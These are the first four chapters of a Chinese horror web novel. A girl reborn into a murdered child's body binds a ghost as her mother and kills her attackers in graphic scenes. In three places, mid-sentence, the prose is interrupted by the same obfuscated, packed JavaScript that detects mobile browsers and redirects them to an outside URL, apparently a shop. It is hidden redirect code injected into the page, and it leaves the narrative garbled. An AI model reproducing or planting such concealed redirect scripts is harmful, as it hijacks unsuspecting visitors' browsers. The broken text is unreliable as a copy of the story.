《怪物都是我家人[综恐]》 1. 第 1 章 砰—— 枪声在耳边炸响。 “荷——” 科蒂斯猛地倒吸了一口气,惊醒过来。 硝烟的味道仿佛还缠绕在鼻尖,额头的疼痛似乎还在往骨头里钻。 她抬起手摸了摸额头,一个血洞。 手顿了顿,再次摸过去时,却又是一片光滑。 怎么回事?她不是在逃跑路上被公司杀死了吗? 是具子允救了她? 但这也不太可能,那位魔女前辈显然是奔着消灭公司来的,不可能会分神来救她这位无关紧要的小角色。 科蒂斯想不明白发生了什么,但有一点她确定了。 这不是她的身体。 她的手没这么小,也没这么光滑。 还有她的头发,金灿灿的,又顺又长,还带着漂亮的微卷,绝不是她的。 在基因编辑公司里的生活,每天不是在训练就是在挨打,而又因为她是最弱小的那一个,所以总是挨打的最多,分到的食物最少。 久而久之,她的头发干枯得像稻草,她的双手也伤痕累累,疤痕遍布。 所以这样一副健康又幼小的身体,不可能是她的。 那她这是…借尸还魂?科蒂斯想起自己听过的故事。 “What the fuck?” 科蒂斯听见声音朝前看去,一个黑乎乎的影子正端坐在她面前不远处的空地上。她下意识用力地眯起眼睛,还是只能勉强看见一个轮廓。 很好,她有高度近视,看来这具身体也不算完美。 科蒂斯在脚边摸到了一副眼睛,戴上后才看清了世界。 坐在她面前的是一个中年男人,疲惫,苍老,望向她的眼睛满是震惊。 从残存的记忆中,科蒂斯知晓了男人的身份。 那是她的父亲杰弗里,一个被现实打垮的可悲男人。 杰弗里正举着一把枪对准自己的喉咙,而那把枪,正是杀死她这具身体的凶器。 这个男人,因为生活的失意,选择带着他的妻子和孩子们一起走向终结。 科蒂斯的视线再往下,她的脚边躺着一个小女孩,很小,大概只有一岁。 她想起来,这是她的妹妹,她记忆中最深刻的羁绊。 可是,小女孩已经没有了呼吸,脑袋上狰狞的血洞正汩汩往外渗血。 科蒂斯的目光冷了下来。 这本该是她最亲的家人。 “你是什么东西!”杰弗里嘶吼着,调转了枪口对准科蒂斯。“你对我的女儿做了什么!” 科蒂斯一言不发,等待机会,在看到杰弗里的手腕因激动而颤抖时,她猛地扑了上去! 小小的身体爆发出与年龄不符的迅捷,如野兽般将杰弗里扑倒在地! 杰弗里慌乱中扣动了扳机,科蒂斯眯起眼睛,子弹宛如被按了暂停键,在她眼前停滞,又突兀地朝一旁飞去。 杰弗里僵住了,震惊到忘记呼吸。 可这时科蒂斯突然脑中一阵刺痛,是能力使用过度的征兆。 但这不应该,她虽然比兄弟姐妹们都要弱,却不至于连停止一颗子弹都如此费力。 只有一种可能,这具身体限制了她的力量。 杰弗里趁着这机会掀倒了她,重新占据上风。 粗糙的大手猛地掐住科蒂斯脆弱的脖颈,冰冷的枪支重新抵上她的额头。 “你到底是什么鬼东西!” 短短几秒,科蒂斯就呼吸不过来,脸部通红。 她尝试脱困,但高估了自己现在的力量。 她本应匹敌四个成年人的力量,此刻竟然缩水成了青少年的水准。 科蒂斯没有慌张,被公司教导了这么多年,她早已懂得在任何情况下保持冷静。 “快说!你到底是什么鬼东西!你对我的女儿做了什么!”杰弗里的嘶吼越发癫狂。 窒息感越来越强,科蒂斯觉得自己快要死了。 但她不想死,她如此幸运地拥有了二次人生,怎么可以就这样死去。 她还没有…还没有拥有过属于自己的家人。 叮—— 脑中传来一声怪响,科蒂斯眼前浮现出一个透明的面板。 上面写着: 【家人系统已开启,是否绑定目标人物?】 科蒂斯不知道这是什么,但她敏锐地抓住这个机会。 是。 【请选择目标人物及家庭关系】 【可供选择目标:妈妈】 妈妈? 谁是妈妈。 在又一次眨眼之后,科蒂斯看见了妈妈。 她飘在杰弗里身后,骨瘦如柴,面目狰狞,漫天的黑发像是蛛网一般,正待绞杀猎物。 科蒂斯知道,这是她的机会。 她艰难开口,用稚嫩柔软的嗓音喊道:“妈妈…” 杰弗里愣住:“维多利亚?” 杰弗里身后的妈妈也是一愣,那张恐怖的脸上居然出现慈爱的表情。 科蒂斯颤颤巍巍地伸出手,对着杰弗里身后继续喊道:“妈妈…” 杰弗里瞳孔巨颤,泪水兀地涌出来。 他双手颤抖,几乎握不住枪:“我很抱歉…我很抱歉…” 科蒂斯不去看他,只是望着妈妈。 而那个干枯瘦长的鬼影,终于伸出了她的手,与她相触。 是同意,也是永恒的羁绊。 【目标已绑定】 杰弗里还在忏悔:“原谅我,维多利亚…” 科蒂斯没心情继续听。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385824|200242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妈妈也出手了。 她永远不会允许有人伤害自己的孩子。 又细又长的发丝骤然裹住杰弗里,将他吊到半空中,就要扭断他的脖颈。 “等等妈妈!” 妈妈停下了动作。 科蒂斯起身,捡起地上的枪。 枪口这回对准了杰弗里的额头。 杰弗里愣愣地看着陌生的女儿,嘴唇蠕动,想呼唤她的名字:“维…” 砰—— 一枪毙命,干净利落。 杰弗里的身体瞬间失去力气,掉落在地。 “再见,爸爸。”科蒂斯垂眸看着尸体,眼底没什么波澜,那张天生没什么表情的脸上更瞧不见任何情绪波动。 “妈妈?”她又望向攀附在天花板上的女鬼,眼神柔软,满是依赖。 科蒂斯捏了捏手指,嘴角忍不住翘起。 她终于有自己的家人了。 妈妈晃晃悠悠地飞下来,伸出细瘦的长手臂,抱住科蒂斯。 嘶,有点冰。 科蒂斯条件反射地瑟缩一下,却还是执拗地回抱过去。 消失的面板又跳出来,这回上面显示出“妈妈”的所有信息。 【姓名:伊迪丝布伦南】 【状态:恶灵】 【生平简介:百年前诞下一子,因精神不稳定,孩子被修道院夺走收养。在极度痛苦中逃出精神病院,杀死修女抢回孩子,遭众人追捕。逃亡至悬崖,走投无路抱子跳湖,溺亡,孩子却被树枝挂住,从此分开。】 科蒂斯不动声色地将所有信息收入眼底。 孩子? 科蒂斯的后牙槽轻轻磨了磨,心里燃起莫名的警惕。 如果伊迪丝找到了自己的孩子… 不,她不会允许那种事情发生。 这是她的家人。 是她的! “跟我走吧,妈妈。”科蒂斯牵着妈妈冰凉的手。“我没办法在这里生活。” 伊迪丝那张烧焦木头一般的脸显露出犹豫。 她冥冥之中觉得,自己不该离开这儿。 科蒂斯晃了晃她的手,瘫着一张脸,语气却软乎乎地撒娇:“Please~” 伊迪丝:…算了,女儿最重要。 于是困在这里百年之后,这位游荡的孤魂头一回走出了木屋。 蹭—— 科蒂斯点燃从杰弗里身上摸到的打火机,顺手丢了进去。 火苗很快窜起,一点点吞噬木屋,将里头的一切烧了个干净。 火光在科蒂斯稚嫩的脸庞上跳动,却映衬得她格外阴沉。 从今天起,再也没有维托里亚了。 只有科蒂斯。 而她要在这个新世界,好好活着。 2. 第 2 章 接下来的时间,科蒂斯一边寻找离开森林的路,一边试探着摸索出了面板的几个规则。 首先,只有自己能看见它,且完全掌控。 其次,所谓的目标人物可以由科蒂斯自己决定,但只能对非人类使用。 一路走来,科蒂斯在林子里遇到了好几个飘荡的灵魂,她尝试过,都可以作为目标。 奇怪的是,曾经的她并不能看见鬼魂,或许这是这具身体的能力? 再者,如果要成功绑定则必须目标做出同意的回应才行。 可以是言语,也可以是动作,总之必须双方达成共识才可以。 最后,科蒂斯发现,可以在上面编纂家人应该遵守的规则作为系统的指令。 这份指令是绝对的,绑定的家人不可能违抗,而被绑定的家人也没有办法解绑。 换句话说,她可以操纵所有“家人”。 但科蒂斯还是不会这样做的。 她想要的是互相关爱、真心实意的家人,用力量胁迫只会让她联想到公司的博士,让人作呕。 不过,科蒂斯最后还是写下了两条规则。 第一条:要永远永远爱她,要永远以她为中心。 第二条:家人之间要互相保护、互相关爱,不可以彼此伤害。 科蒂斯不知道这份力量究竟是从何而来,但她知道,它能帮自己实现心愿,这就足够了。 又过了一天,科蒂斯看到了人类活动的迹象,这代表着她总算快要走出森林。 但是回到文明世界又该去哪儿呢? 她还没想好。 两天没好好吃东西,科蒂斯的肚子发出了抗议。 她沿着人类活动的痕迹寻找,来到了一片寂静的湖泊。 阳光照射之下,湖泊表面波光粼粼的,很好看。 但科蒂斯没时间欣赏。 她的目光被湖边上的野餐篮牢牢吸引。 好吧,附近没人,就悄悄拿一点。 她蹑手蹑脚地靠进,随便抓起两个三明治就跑。 “嘿!小混球!放下我们的东西!”刚回来的男人看见逃走的科蒂斯,破口大骂。 他身旁的女人扯了扯他的胳膊:“算了,史蒂夫,那只是个孩子。” 史蒂夫:“好吧,珍妮,听你的。” 科蒂斯狼吞虎咽,三两下吃完三明治。 她也没急着走,猫在树林里观察来的两人。 情侣游客,热恋期。 男性冲动易怒,女性冷静易心软。 最普通不过的一对情侣。 科蒂斯很快分析出两人的特点。 如果要快速回归人类文明世界,他们两个或许是很好的助力。 科蒂斯弄乱了自己的长发,又往脸上抹了把灰。 她摆出可怜兮兮的无辜表情,又钻了出去。 一个一眼看上去就遭受了虐待的五岁小女孩,有哪个正常人会忽视? 科蒂斯放慢脚步偷溜到野餐篮旁边,在快得手时又故意制造出动静。 果然,史蒂夫发现了这位不速之客:“嘿!你!走开!” “等等史蒂夫!”珍妮拉住了他。“她只是个小女孩!” 珍妮一眼就看到了女孩儿浑身的囧状,爱心泛滥的她忍不住软下声音:“嗨,你还好吗?” 她想要问问女孩儿的名字,可惜女孩儿像是被吓到了,突然跑开,又钻进了树林里。 珍妮没好气地冲史蒂夫抱怨:“你吓到她了。” 史蒂夫:“我?好吧,我很抱歉亲爱的。” 珍妮:“我们得去找她,她看上去很需要帮助。” 史蒂夫:“Okok。” 科蒂斯并没有走远,她蹲在树丛中,枯叶沾满了她的头发,这让她看上去更加可怜无害。 她在等,等那两人找到自己。 这个过程并不久,很快珍妮就发现了她。 “嗨,”珍妮温和地笑着。“我叫珍妮,你能告诉我你的名字吗?” 科蒂斯抱着膝盖,将自己团成一团,警惕地看着她。 珍妮见状眼中的怜惜更甚。 这个可怜的女孩儿得是经历了什么可怕的事才会变成这副样子啊,她必须得帮她。 “你喜欢蓝莓派吗?”珍妮拿出一小块派,小心翼翼地靠进,在察觉到女孩儿的意图逃跑后停下。“别担心,我不会对你做什么的。” 科蒂斯鼻尖轻轻抽动,一股香甜的味道钻进去。 她咽了咽口水。 这不是装的,而是真的被馋到了。 在公司的十几年里,她从来没吃过这样的食物。 她伸出手,慢慢试探着接近,仿佛在确定这不是一个陷阱,而是对方单纯的示好。 在接到派后,那只小小的手迅速收回。 这在珍妮看来就好像一只小猫在伸爪子,她笑了起来。 科蒂斯小口小口地啃着派。 这个叫蓝莓派的食物酸酸甜甜的,外面的皮特别香,她忍不住多吃了些。 珍妮见她吃的开心,也松了一口气,她又尝试着靠进:“嘿,我那里还有更多,你还很饿对不对?到我这里来,我可以帮助你。” 科蒂斯“犹豫”地看着她,几经试探,终于是握住了珍妮的手。 “谢谢你。”科蒂斯小声说道。“我叫科蒂斯。” 珍妮内心一片柔软:“别担心科蒂斯,我会带你找到家人的。” 哦,她当然不会担心这点。 她会自己找到合适的家人的。 “史蒂夫!”珍妮带着科蒂斯回到湖边。“我想我们得早点回去,这孩子的状态不太好。” “什么?可是…”史蒂夫欲言又止,似乎不愿意现在就走。 “史蒂夫,”珍妮温柔地劝解。“我们不能把她丢在这里。并且…” 她凑到史蒂夫耳边轻声说道:“我们不知道伤害她的人是不是还在附近。” 史蒂夫被说服了,这确实是一个潜在威胁。 没办法,他只好搁置自己的计划,准备离开。 车子没开出去多远,忽然从天而降一坨土块,正好砸在前挡风玻璃上。 “Holy shit!”史蒂夫顿时手忙脚乱地扭动方向盘,察觉不妙紧急踩下刹车,最终惊险停下。 珍妮在后座护着科蒂斯,还好两人没受什么伤。 “怎么回事?”珍妮焦急询问。 科蒂斯倒是望着珍妮搂住她的手,有些发愣。 暖暖的,香香的,有些让人依恋。 她偷偷用脸颊蹭了蹭,好温暖。 史蒂夫怒气冲冲地下了车,还不忘转头叮嘱珍妮好好待在车上。 “Fuck!是谁干的!” 几个青少年嬉笑着在不远处的土坡上露了面。 史蒂夫认出了这些人,前不久他们还在湖边起了争执,那群孩子不停地骚扰他和珍妮。 “又是那群该死的青少年!”史蒂夫拍了拍车窗。“别下车,珍妮,不知道他们又要做什么!” 说话间,那几个青少年骑着自行车从土坡上冲下来。 他们速度很快,笔直地冲着史蒂夫而来。 起初史蒂夫还没有当一回事,只以为是少年们又在恶作剧,可是当距离越来越近,他们既没有减速也没有移动方向时,史蒂夫慌了。 “停下!”他吼了一声,但是没有任何作用。“Fuck!停下!” 这群少年疯狂按响车铃,又加快了速度。 嘈杂的铃铛声震的史蒂夫心脏漏了一拍,他暗骂一声,迅速坐回车上,锁好门窗。 啪—— 一边的后视镜被打掉。 史蒂夫暴躁地长按喇叭:“Fuck off!” 青少 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385825|200242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年们绕着车转圈儿,时不时地向车上丢去土块块,故意扰人心态。 “我受够了!”史蒂夫咬了咬牙。“亲爱的,系好安全带。” 珍妮手忙脚乱地给自己和科蒂斯系好。 又忍不住问史蒂夫:“你要做什么?别太过分。” “我知道。”史蒂夫简短回应,然后挂上档,直接往前冲。 车头撞上一辆自行车的后轮,对方倒在地上,但因为车速不快,所以并没有受什么伤。 史蒂夫动作微顿,摇下窗户探出头,在确认对方没事后悄悄松了口气。 他又挂起脸,呵斥这些青少年:“别挡我们的路!” 为首的少年在车头停下,恶狠狠地盯着史蒂夫。 他吹了声口哨,一条黑狗窜了出来,对着车窗狂吠。 史蒂夫连忙关好窗户。 珍妮被吓到:“快走吧史蒂夫,别再跟他们纠缠了。” 科蒂斯静静看着还在吠叫的黑狗,轻挑下右眉,那狗就好像被看不见的人打了一拳似的,呜呜咽咽地走开了。 史蒂夫启动车子,一脚油门窜了出去。 “邦尼!停下!小心!” 突然听到为首少年的尖叫,史蒂夫迅速踩下刹车,但还是晚了。 他撞了东西。 是那条黑狗,它在几秒内就没了动静。 “哦,不不不!”少年抱着它哭起来。 “你们撞死了布莱特的狗!”周围的少年指责起他们。 史蒂夫自知理亏,打开门走下去:“我很抱歉,听着,我可以赔偿。” 名为布莱特的少年压抑着怒火起身,他快步走近史蒂夫,没有给任何人反应的时间。 噗呲—— 毫无防备的史蒂夫被捅了一刀。 “What?”史蒂夫踉跄后退,看着腹部的血,难以置信。 “不!史蒂夫!”珍妮崩溃尖叫,想要下车看看他。 科蒂斯死死地拉住她。 现在下车无异于自寻死路。 “布莱特?”团伙中有个男孩面露不忍,想要劝阻。 但布莱特似乎还觉得不够解气,又拿着刀上前。 史蒂夫猜出来他要做什么,赶紧强撑着回到车上,油门踩死飞了出去。 只可惜还是晚了一步,布莱特划破了后轮轮胎。 “别放过他们。”布莱特抹了把脸,眼神阴沉凶狠。 破了胎的车没能开出去太远,很快就罢了工。 三人只能选择徒步。 珍妮哭着从后备箱里拿出医药箱,颤颤巍巍地给史蒂夫包扎。 “别哭,”史蒂夫擦去珍妮的眼泪。“我还死不了。” “Yeah,我们会没事的,我们会没事的。”珍妮不住地重复。 “天快黑了。”科蒂斯打断两人,说出的话表露出超乎寻常人的冷静。“我们需要找个安全的地方休息,他们也许会找来的。” 珍妮一怔,很快也反应过来。 他们不如那几个青少年熟悉这片森林,摸黑走会遇到的危险会更多,说不定反而会暴露得快。 处在恐惧与担忧中的她没有去想,一个五岁的孩子,在面对这样的情况时,为什么会如此冷静。 “Ok,”珍妮深吸一口气,强迫自己冷静下来。“我们先去找安全的地方,等天一亮就出去。史蒂夫,你还记得怎么出去吗?” 史蒂夫懊悔地摇摇头:“抱歉,我也迷路了,地图也丢了。” 珍妮差点崩溃。 但她很好地忍住了。 现在史蒂夫受伤,科蒂斯还是个孩子,只有她具有行动能力,她不能倒下。 “来吧。”珍妮扶起史蒂夫,让他能借助自己的支撑走路。“我们赶紧离开。” 科蒂斯安静地跟在两人身后,并在他们看不见的地方,悄悄牵起妈妈冰凉的手。 3. 第 3 章 他们无头苍蝇一样在林子里转了很久。 天黑视线受阻,三人又不熟悉地形,所以转来转去,目之所及的还是只有茂密的树木。 不能再浪费体力了,否则万一遇上布莱特他们,跑都跑不掉。 科蒂斯垂下睫毛,想着。 她拉住珍妮的衣服,小声说:“我好累,珍妮。” 珍妮舔了舔干燥起皮的嘴唇,带着史蒂夫走了这么久,她也不太好受。 “OK,那我们休息一下。”珍妮让史蒂夫靠在大树上,自己则坐在旁边,一边恢复体力一边查看史蒂夫的伤口。 史蒂夫的意识快模糊不清了,伤口肿胀,还在往外分泌黄色的脓液,这实在不是一个好现象。 科蒂斯依偎在珍妮身边,目光不着痕迹地扫过史蒂夫的伤口。 伤及脏器,伤口感染。如果不及时得到医疗救助,他会死。 科蒂斯平静地做出结论。 但她并没有打算帮忙。 只要保证珍妮和她安全离开森林,她的目的也能达到,不如说史蒂夫的死亡反而更能证明她这位来历不明的小女孩经受了某个恶魔的摧残,在警察那儿能为她加不少同情分。 而往后儿童福利机构为她寻找收养人家时,她自然也能凭借这点拒绝她不喜欢的家庭。 科蒂斯冷漠地分析着。 忽然,一阵压抑的啜泣声忽然传进她的耳朵。 是珍妮正哭着为史蒂夫更换胶布。 那卷医用胶布是她唯一能带上的东西。 但对史蒂夫的情况而言,也起不了什么作用。 她深深地知道这一点,可还是不愿意接受。 科蒂斯的眼神略微软化一点,小小的手掌擦去珍妮的泪水。 “不要哭。” 科蒂斯顿了顿,又干巴巴地挤出一句安慰:“会没事的。” “嗯。”珍妮吸了吸鼻子。 三人休息过后,准备继续走,得找到能挡风的地方保暖。 沙沙—— 科蒂斯侧过头,竖起耳朵。 片刻,女孩儿秀气的眉毛皱了起来。 “我们得跑了。” 珍妮疑惑:“什么?” 科蒂斯猛推了一把珍妮:“跑!” 咻—— 一支箭从暗处飞快射出,擦着珍妮的眼睛掠过,笃的一声钉在了树干上。 “啊啊啊!”珍妮爆发出尖叫。 她艰难背起史蒂夫,拼命往林子更深处钻。 “Oh,fuck,我没射中。”布莱特懒洋洋地抱怨,又不慌不忙地上好弩箭。 箭头跟着珍妮移动,布莱特嘴角挂着愉悦的笑,像是猎人在戏耍猎物。 “是射脚?还是胳膊?还是说…”布莱特看着珍妮晃动的金色脑袋。 箭突然离弦,直冲珍妮的头而去。 布莱特已经预见到那颗头开花的场景了。 可是,箭矢在靠进珍妮时诡异地偏移了一点角度,射在了一旁的树上。 “What the fuck?”布莱特以为自己眼花了,重新搭起弩箭对准珍妮。 他死死地盯着那个越来越小的身影。 突然!一张双眼圆睁、嘴部撕裂的扭曲女人脸贴在了他的面前! “Fuck!”布莱特丢掉了弩箭,瘫倒在地。 可再定睛看去,什么都没有,一切仿佛都只是他的幻觉。 “什么?”布莱特惊魂未定,一身冷汗。 “你还好吗布莱特?”团队中的另一个男孩,库珀小心询问。 “你们没看到吗?”布莱特大声反问。 “看到什么?”其他人面面相觑。 看他们不像在耍自己的样子,布莱特愤愤站起来。 是幻觉吧。 他只能这样想。 布莱特:“还不快追!我一定要教训他们!” 科蒂斯唇角勾起一个几不可察的弧度,她悄悄朝身后的妈妈眨了眨眼。 因为妈妈的帮忙,三人成功暂时脱困,但这也不是长久之计,只要还在森林里,就迟早会被那些不良青少年找到。 更何况,他们还有一个累赘。 科蒂斯的目光从史蒂夫的伤口上掠过。 伤口已经发炎,他在高烧,带着他不可能逃掉。 但如果自己开口让珍妮放弃他,她反而可能成为被放弃的那一个。 得让史蒂夫自己说出口。 科蒂斯正在思索着,就听见史蒂夫虚弱开口。 “放下我,亲爱的。”史蒂夫摸了摸珍妮的脸。 很好,看来不需要她暗中操作了。 科蒂斯揣着兜站在一旁,留给这对情侣生死离别的空间。 “什么?”珍妮摇头。“不,不可能,我们要一起回去,听到了吗?不要再说这种话。” “不,听我说,你听我说亲爱的。”史蒂夫用尽力气挣脱,但这么一个小小的动作就让他喘个不停。 他温柔平静地望着珍妮:“你需要活下去,而带着我实现不了,你清楚这一点。” 珍妮顿时泪流不住:“不,不,我们可以逃出去的。” 史蒂夫没有反驳珍妮,只是缓慢而又坚定地说:“留下我,逃出去,带着那个小女孩一起。” 科蒂斯眸光闪动一下。 为什么提到她? 虽然她不太懂人类的情感,但是,临死的时候,不应该提重要的人或事吗?为什么会提到她? 科蒂斯不理解,只是单纯地觉得,心脏跳动得比平常要快些许。 “Ok。”珍妮哭着答应了史蒂夫的要求。“我会的。” 说话间,不远处传来吵闹声,其中夹杂着布莱特气急败坏地叫骂。 他们找上来了。 “快走!”史蒂夫低声嘶吼。“我会拖延时间。” 珍妮胡乱抹了把脸,不敢再耽搁时间,一把抱起科蒂斯狂奔。 科蒂斯乖乖趴在库珀珍妮肩上,幽幽地盯着布莱特一行。 珍妮混乱中完全迷失了方向感,又跑回了湖泊附近,好在这里有间小木屋可以暂时躲避。 “快来。”她带着科蒂斯躲进去,藏在最角落里,不敢出声。 “听着,科蒂斯。”珍妮按着科蒂斯的肩膀,郑重说道。“如果待会儿有人找到了我们,我会拖住他,你就尽快跑,明白了吗?一定要跑的很远很远,千万不要回来。” 科蒂斯被那双眼眸的坚定与关怀刺痛一下。 她木讷地点点头,有些不明白自己的感觉。 珍妮只以为女孩是被吓到了,轻轻地抱住她:“没关系,没关系,我们可以做到的。” 科蒂斯:“嗯。” 吱呀一声。 木屋的门被推开,一个少年走进来,正是那个青少年团伙中的库珀。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385826|200242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神情惊讶,似乎并没有预料到科蒂斯她们会藏在里面。 科蒂斯的眸光冷下来。 一个人,很好解决。 “退后!”珍妮腾地站起来,护在科蒂斯身前,她握着一根随手捡来的棍子,毫不畏惧地指着库珀。 科蒂斯时刻戒备着库珀的动作,只要他有一点想攻击的意图,妈妈就会扭断他的脖子。 但是,意料之外的,库珀只是从口袋里掏出一张皱巴巴的纸,踮着脚尖递到珍妮面前。 珍妮看了一眼,惊讶接过:“这是地图?” 库珀点点头,抿着嘴唇,耷拉着眉角:“我很抱歉,我并不想这么做的,都是布莱特逼我的。” 珍妮微微一怔,将信将疑地放下了棍子。 “谢谢。” 库珀吸了吸鼻子,补充说道:“我会尽力把其他人引去别的方向,更好的是能带他们回家。你们可以在这里休息,晚上森林里会很危险,你们不熟悉路,发生意外的概率会很高,等明天天一亮立刻就走。” “谢谢你的提醒。”这一次的感谢,珍妮明显更真实了几分。 而科蒂斯? 她的目光从来没从库珀的脖子上挪开过片刻。 谁都不可信,谁都要警惕,这是公司教给她的道理。 万幸的是,库珀在留下地图后真的离开了,而树林里也没有其他人活动,看来这不是一个陷阱。 拿到地图,珍妮原本的决定开始动摇。 她看了看科蒂斯,眼神中满是复杂的情绪。 科蒂斯:“珍妮?” 珍妮纠结许久,终于下定决心对科蒂斯说:“听我说,科蒂斯。” 她将地图交到了科蒂斯手上:“明天一早,你就往外跑,好吗?一定要找到人回来帮我们,答应我。” 科蒂斯:“那你呢?你不跟我一起吗?” 珍妮怜惜这孩子的敏锐:“我不能丢下史蒂夫。” “可是史蒂夫说让你跟我一起走。”科蒂斯歪歪头,不理解为什么珍妮突然改变了主意。 “因为我爱他。”珍妮笑起来。“所以,哪怕到了生命的尽头,哪怕他赶我走,我也不会丢下他一个,我们是情侣,是爱人,更是家人。” “而他也是因为爱我,才让我走。我们都想让彼此安全,可是我知道,如果他孤零零的一个人会很害怕。” 原来如此,原来想让另一个人安全,就是爱的表现,是“家人”的意义。 所以,他们想让自己安全,也是因为他们爱她! 科蒂斯白皙的脸庞激动地浮现出一抹病态的红。 是了,她对他们很重要,他们是“家人”! 黑暗中,科蒂斯嘴角浮现出一抹扭曲、僵硬的笑容。 她决定要保护自己的家人。 珍妮惶惶不安地陷入睡眠,而科蒂斯则听着林子里的虫鸣声直至深夜。 听着珍妮逐渐平稳的呼吸声,科蒂斯开始行动。 “妈妈,”她牵起伊迪丝的手。“你找到他们了吗?” 伊迪丝点了点头。 科蒂斯:“太好了,谢谢你,妈妈。” 伊迪丝嘴角开裂的弧度大了一点,看上去像一个微笑。 月光下,伊迪丝散开的、如枯草一般脏乱的长发像是渡了一层银光,而那张灰败的脸也显得温柔起来。 科蒂斯仰头看着她:“接下来让我们去狩猎吧,妈妈。” 4. 第 4 章 库珀没能将布莱特他们劝回家。 这点并不在科蒂斯意料之外。 这群无法无天的青少年,把史蒂夫绑在了树上,兴致勃勃地折磨他。 对他们而言,好不容易有了这样一个鲜活又有趣的玩具,哪里舍得这么早回家睡觉。 科蒂斯隐藏在不远处的树林里,不动声色地观察着他们。 以她现在的实力,还不能同时对抗这么多青少年。 唉,早知道就不处理掉从杰弗里那里拿到的枪了。 不然现在就不用这么麻烦,要她想办法一个个分头解决。 “妈妈。”科蒂斯仰头。“你能帮我吗?” 伊迪丝伸手摸了摸科蒂斯光滑的小脸,四肢并用向后退,消失在黑暗中。 这边,布莱特又找到了新玩具。 他捡来一根带着倒勾的铁丝,嬉笑着甩起铁丝抽在史蒂夫身上。 每次抽打,荆棘就会从史蒂夫身上刮下来一块皮肉。 史蒂夫死死地咬着牙关,不让自己发出叫声。 没能听到预料中的惨叫,布莱特不耐烦地甩甩膀子,把铁丝递给另一个男孩:“瑞奇,你继续。” 被点名的男孩肩膀抖了抖,并不情愿地接过铁丝。 他看着奄奄一息的史蒂夫,还有对方身上数不清的伤口,害怕地缩了缩脖子。 但是如果他不动作,恐怕这根铁丝就要甩在自己身上。 瑞奇咬着牙抽了几鞭。 布莱特还是觉得不过瘾,让其他人排队,依次教训史蒂夫。 不多时,史蒂夫身上已经没有一块完好的皮肉。 血液在他身下聚集出一小条溪流,他也还是没能忍住惨叫,很快,他昏了过去。 布莱特满意地笑起来。 库珀慌张开口:“布莱特,我觉得他不太好。” “什么?”布莱特像是听到了什么天大的笑话,步步逼近他。“你想替他求情?还是说你想代替他?” 库珀一个踉跄跌倒在树丛上,差点尿了裤子。 “哈哈哈哈!”布莱特大笑起来。“孬种!” 其他人也附和着笑起来。 “你还不如滚回去找妈妈呢,库珀。”另一个男孩上前,接过铁丝。“瞧好了,我来叫醒他,等下我会让他叫的最大声!” 他抡圆了膀子,甩动铁丝,狠狠地向前抽。 不料,荆棘卡在了树桩上,扯不下来。 男孩咒骂一声,捏着手指小心避过荆棘去取。 一个,两个,三个… 咚—— 一个黝黑的巴掌突然拍下来,直愣愣地将男孩的手拍到了树干上,铁荆棘刺进他的手心,一时间鲜血直流。 男孩痛的直叫唤,但他一抬头,叫声突兀地卡在了喉咙里。 一张干瘪的鬼脸近在咫尺。 男孩发不出任何声音,抖着双腿尿了裤子。 他身后,布莱特几人惊讶地看着这个凭空出现出现的鬼影,彻底僵住,忘记动作。 直到,那女鬼的长发渐渐包裹住男孩。 噗—— 极轻的一声响,一个圆乎乎的东西骨碌碌滚到队伍中唯一一位女生脚边。 “啊——!” 高昂的尖叫声打破了僵局,所有人不分方向抱头鼠窜。包括刚才还不可一世的布莱特。 库珀瘫在草丛里,屏住了呼吸,不敢有任何多余的动作。 他以为自己要死了,可没想到,那个女鬼只是回头看了他一眼,便迅速窜回了林子里。 库珀如同干涸地中的鱼,猛吸了一口气。 他抹了把脸,一手冷汗。 ………… 没跑多久,瑞奇就发现自己迷失了方向。 慌慌张张的,他被脚下的树枝绊倒,手肘磕破了皮,渗出鲜血。 瑞奇龇牙咧嘴地擦了擦,丝毫没注意到,绊倒他的树枝,正在缓慢蠕动。 那些枝条仿佛有了生命一般,慢慢缠绕上他的脚腕,并向上攀爬。 等到瑞奇擦完伤口想站起来时,才发现双腿已经被捆的结结实实。 “什么?”他慌了,双手使劲儿撕扯枝条,可那些树枝越来越多,越来越多,几乎要将他吞没。“救命!救命!” 他崩溃大叫。 一个小小的身影悄无声息地出现在他身后,噗呲,瑞奇的求救声停下。 他鼓着眼睛,无声望着从插进自己腹部的匕首,还有那只从后面绕过来的小手。 “额…” 他还想说什么,但那只小手快速拔出匕首,对准他的肚子又□□几下。 瑞奇看着自己的肚子破开大洞,肠子流了出来,他呆呆地伸出手想要捡起来,但反而让肠子流的更多。 他想往后看是谁,但又一只小手扶上他的头,阻止了他的动作。 “咳咳…”瑞奇呕出两口血,握着肠子,停止了呼吸。 他身后,那个小身影,忽的消失不见。 